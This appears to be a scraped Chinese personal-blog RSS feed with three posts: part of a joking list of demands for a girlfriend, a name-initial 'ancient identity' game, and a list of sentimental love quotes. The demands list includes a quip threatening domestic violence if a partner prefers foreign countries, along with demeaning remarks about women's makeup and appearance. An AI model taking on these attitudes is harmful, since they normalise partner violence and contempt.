五，“非主流”的勿扰。我骨子里比较传统，你们的行为过于怪异，我看不下去。我们生活的不是一个星球，我对外星人是有敌意的。
六，必须洗衣服做饭。我肯定是要分担家务的，比如扫地擦地洗碗都可以，但我不想洗衣服做饭。
七，懂事。不要无理取闹，更不能在朋友面前不给我面子。面子对我很重要，你要撕了我面子我就真不要脸了。
八，我没有处女情结，希望你也不要有处男情结。
九，说话带英文的勿扰。英语很有用，但不要对我说。我不懂英文，尤其恶心说中文夹带英文的。我是中国人，请对我讲国语。
十，耳洞不能超过2个。我不想看见你身上有太多窟窿，我要的是一个完整的人，不欣赏残缺的美，而且我也没那么多钱给你买两个以上的耳环。
十一，十八岁之前父母双全。目前来说，我不具备父爱，更不具备母爱。
十二，化浓妆的勿扰。清新，干净，可以是淡妆，但黑白过于鲜明，抹的像个厉鬼或者火鸡或者性工作者的请自重。
十三，暴牙勿扰。我不想让接吻成为噩梦。
十四，会一门手艺。琴棋书画唱歌跳舞弹奏乐器以及手工活儿随便什么都行，可以给生活增加情趣。
十五，走姿正确。要以正常的步伐走路，内八字，外八字以及凌波微步的都别找我。人要脚踏实地走正路，不能走歪路。
十六，不能太有钱。我是个普通人，没享受过荣华富贵，也没见过那大场面，你吃的东西我都没见过，我吃的东西你咽不下去，太有钱的女人肯定跟我合不了拍子。
十七，娇生惯养的死开。我不是王子，你也别当自己是公主，我伺候不起。泼辣一点，皮实一点，别整的跟个玻璃人似的。
十八，有爱心。对弱者要有基本的同情心，可以尽量去帮助别人。冷漠的勿扰。
十九，不能崇洋媚外。我可以带你去国外旅游，但必须知道中国是最好的。我十分热爱自己的国家，如果你跟我说外国的一切都比中国好，我可能会对你实施家庭暴力。 ]]> http://365538223.qzone.qq.com/blog/1231422996#comment 134218248 Thu, 08 Jan 2009 13:56:36 GMT http://365538223.qzone.qq.com/blog/1231422996 http://365538223.qzone.qq.com/blog/1219672221 主题：●●●测测你在古代的身份！超级好玩●●●


很简单,用你名字的拼音首字母。例如：“王二小”=“WEX”=“大理白痴诗人”

代码在下面

姓氏：
A:曹魏；B:东吴；C:蜀汉；D:土番；E:大秦；F:大金；G:大明；H:鲜卑；J:晚清；k西周；L:赵国；M:大辽；N:西夏；O:大宋；P:中山国；Q:东晋；R:羌族；S:民国；T:齐国；W:大理；X:太平天国；Y:南唐；Z:蒙古。

中间字：
A:阴损；B:绝顶；C:猥琐；D:豪门；E.白痴；F:天才；G:狗屎；H:无敌；J:英勇；:k狗头；L:无双；M:饭桶；N:变态；O:阴暗；P:嗜血；Q:旷世；R:脓包；S:血手；T:平庸；Y:爱国；D:亡国；W:暴力；X:坏鬼；Y:粗旷；Z:逍遥。

结字（最后字）：
A:道士；B:和尚；C:财主；D:屠夫；E:马夫；F:嫔妃；G:小兵；H:刀客；J:卫士；k:农夫；L:将军；M:教头；N:书生；O:乞丐；P:皇帝；Q:丞相；R:狗腿；S:佳人；T:土匪；W:老鸨；X:诗人；Y:名妓；Z:名士

娱乐而已，独乐乐不如与人乐乐

记得贴上大家的结果哟~
]]> http://365538223.qzone.qq.com/blog/1219672221#comment 577 Mon, 25 Aug 2008 13:50:21 GMT http://365538223.qzone.qq.com/blog/1219672221 http://365538223.qzone.qq.com/blog/1192894932 1叶子的离开不是风的召唤，而是树的舍弃。
2有一天你能到我的心理去，你会看到那里全是你给的伤悲。
3你不曾给我一次回眸，我却始终在对你微笑。
4痴情的一方注定伤的最深，自古痴情终成空
5我终生的等候，换不来你刹那的凝眸
6你是我编造的童话故事中的王子，而我只是你生命里一个匆匆的过客。
7我的选择是爱你或更爱你,你的选择是爱我或不爱我!
8宁愿笑着流泪 也不愿哭着说后悔
9我的翅膀已被一滴泪烫伤 飞不到天堂
10只缘感君一回顾，使我思君朝与暮。
11爱一个人不是要拥有他，只要在远方默默地注视他，也就心满意足
12该给的我都给了,我都舍得,除了让你知道我心如刀割
13我也不想吊死在你这颗树下，因为会给你带来顾虑，可我自己也无可奈何，喜欢一个人有错吗？？
14我不敢奢求太多，只想把瞬间当成永远，把现在都变成回忆，一点一滴。
15让一个人走进自己的心里,是不知不觉的。
16我本将心向明月,奈何明月照沟渠
17我做的一切都是默默的，有苦有甜，更多的是自己咀嚼心痛
18此情可待成追忆,只是当时以惘然
19自尊丢到墙角，掏出所有的好，你还是沉默
20我选择离开,不是想成全,不是想放弃,只是想你我重新认识。
21有一种隐忍其实是蕴藏着的一种力量，有一种静默其实是惊天的告白。
22孤单不是与生俱来，而是由你爱上一个人的那一刻开始。
23如果没有了眼泪，心是一片干涸的湖
24至今我都没打算要放弃，心决定坚持多久，自己到底又能坚持多久，我真的不知道．
25无数次的擦身而过 装做不经意
26世上最残忍的事是你明明知道我喜欢你，却当作不知道。
27 我们放下个性,放下原则,放下自由,只是因为放不下一个人
28因为爱过，所以不会成为敌人，因为伤过，所以不会做朋友。
29擦身而过，也是一种很深的缘分。
30可以用1天时间爱上一个人，但却要用1辈子去忘记一个人
31落花有心随流水 流水无心恋落花 ]]> http://365538223.qzone.qq.com/blog/1192894932#comment 512 Sat, 20 Oct 2007 15:42:12 GMT http://365538223.qzone.qq.com/blog/1192894932 http://365538223.qzone.qq.com/blog/36 ]]> http://365538223.qzone.qq.com/blog/36#comment 4608 Thu, 31 May 2007 15:01:50 GMT http://365538223.qzone.qq.com/blog/36